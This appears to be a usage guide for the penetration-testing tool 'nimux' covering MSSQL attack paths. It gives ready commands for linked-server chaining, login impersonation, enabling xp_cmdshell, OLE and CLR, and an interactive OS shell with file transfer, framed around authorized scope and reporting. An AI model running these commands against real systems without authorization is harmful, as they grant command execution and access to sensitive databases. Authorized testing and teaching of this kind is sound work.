MSSQL Linked Server Paths with nimux

Overview

MSSQL often becomes a movement path because database permissions, linked servers, and Windows authentication cross boundaries that normal host enumeration does not show. A user may not be local administrator on a server, but the SQL context may allow impersonation, linked-server execution, or command execution through approved database features.

nimux includes MSSQL authentication checks, raw query execution, query files, xp_cmdshell, OLE, CLR helpers, interactive SQL mode, interactive OS shell mode over xp_cmdshell, impersonation helpers, and linked-server execution options.

Authenticate and identify context

Start by confirming the SQL login, database user, server name, and version.

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' \
  --query 'SELECT SYSTEM_USER, ORIGINAL_LOGIN(), DB_NAME(), @@SERVERNAME, @@VERSION'

For Kerberos:

nimux mssql sql01.corp.local -d corp.local -k \
  --ccache sql-operator.ccache \
  --spn MSSQLSvc/sql01.corp.local:1433 \
  --query 'SELECT SYSTEM_USER, ORIGINAL_LOGIN(), DB_NAME()'

Audit dangerous settings

Before executing anything, enumerate settings and impersonation rights.

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' \
  --enum-danger \
  --json > sql01-danger.jsonl

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' \
  --enum-impersonate \
  --json > sql01-impersonate.jsonl

This separates discovery from execution. The report should show why command execution or linked traversal was possible.

Query linked servers

Use interactive CLI mode or direct queries to identify linked servers. The --cli mode is an interactive SQL client with helper commands for context, databases, tables, users, linked servers, impersonation, and linked execution.

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' --cli

Useful --cli helpers include:

whoami
serverinfo
databases
dbs
use appdb
tables
users
links
link SQL02\SQLEXPRESS
unlink
source ./review.sql

Inside the CLI, the links helper lists linked servers. For a one-shot style, query the server metadata directly:

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' \
  --query 'EXEC sp_linkedservers'

For repeatable review, keep SQL in a local file and run it through --query-file:

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' \
  --query-file ./sql-review.sql

This is useful for long inventory queries because it keeps the command readable and makes the exact SQL easy to attach to notes.

Database context with use

The use <db> helper changes database context inside --cli. Use it before table and user enumeration when the interesting objects are not in master.

whoami
dbs
use appdb
whoami
tables
users

For one-shot commands, use --database to set the initial database:

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' \
  --database appdb \
  --query 'SELECT DB_NAME(), USER_NAME()'

When a linked-server context is active, use <db> sets the database context for SQL wrapped through that linked server. This is useful when the linked server points to an instance with multiple databases:

link SQL02\SQLEXPRESS
use patient_data
whoami
tables
unlink

Execute through a link

When a linked server is approved for testing, run a low-impact query first.

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' \
  --link SQL02\SQLEXPRESS \
  --query 'SELECT SYSTEM_USER, ORIGINAL_LOGIN(), @@SERVERNAME'

For a chain:

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' \
  --link-chain 'SQL02\SQLEXPRESS,SQL03\SQLEXPRESS' \
  --query 'SELECT SYSTEM_USER, @@SERVERNAME'

The same style exists inside --cli:

links
exec-link SQL02\SQLEXPRESS SELECT SYSTEM_USER, @@SERVERNAME
exec-link-chain SQL02\SQLEXPRESS,SQL03\SQLEXPRESS SELECT SYSTEM_USER, @@SERVERNAME

For a longer workflow, set a linked-server context and then clear it when done:

link SQL02\SQLEXPRESS
whoami
databases
unlink

This keeps linked-server exploration interactive without losing the operator context.

Impersonation inside MSSQL

Some SQL paths depend on EXECUTE AS LOGIN rights. nimux can audit impersonation rights and the --cli mode includes impersonate and revert helpers.

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' \
  --enum-impersonate \
  --json > sql01-impersonation.jsonl

Inside --cli, validate the context before and after impersonation:

whoami
impersonate app_admin
whoami
serverinfo
revert
whoami

The report should distinguish between the login used to connect and the login reached through impersonation. That distinction matters because the finding is often a permission chain, not a single credential.

Command execution through SQL

If the SQL context is sysadmin and command execution is in scope, use a harmless command first.

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' \
  --cmd whoami

If xp_cmdshell is disabled but enabling it is approved, nimux has a one-shot enable option:

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' \
  --enable-xp

For interactive OS command execution over xp_cmdshell, use --shell. This is different from --cli: --cli is for SQL helpers, while --shell is an xp_cmdshell loop with file-transfer helpers.

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' --shell

The MSSQL shell supports:

help
cd C:\Windows\Temp
upload ./tool.txt tool.txt
download C:\Windows\Temp\result.txt ./result.txt
upload-dir ./local-dir remote-dir
download-dir C:\Windows\Temp\evidence ./evidence
exit

Use --shell only when interactive command execution is explicitly in scope. For simple validation, a one-shot --cmd whoami is cleaner.

For linked xp_cmdshell:

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' \
  --xp-link SQL02\SQLEXPRESS \
  --cmd whoami

Inside --cli, linked command helpers are also available:

xp whoami
enable_xp
enable_ole
xp-link SQL02\SQLEXPRESS whoami
ole-link SQL02\SQLEXPRESS whoami
clr-link SQL02\SQLEXPRESS whoami

If OLE or CLR are tested, keep them separate in the notes:

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' \
  --ole whoami

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' \
  --clr whoami

If these features are disabled and enabling them is authorized, use the explicit one-shot toggles and document that state change:

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' --enable-ole

nimux mssql sql01.corp.local -d corp.local -u sql_operator -p '<password>' --enable-clr

State-changing SQL features should be treated like any other configuration change: record pre-state, reason, command, result, and cleanup plan.

Reporting

For SQL paths, report the SQL context, not only the host. Include:

• Login used.
• Database user.
• Server name.
• Linked server name.
• Execution method.
• Whether xp_cmdshell, OLE, CLR, or impersonation was required.
• Whether --cli or --shell was used.
• Any impersonated login and whether revert was run.
• Whether settings were changed.
• Cleanup and rollback status.

This turns a command transcript into a clear privilege path.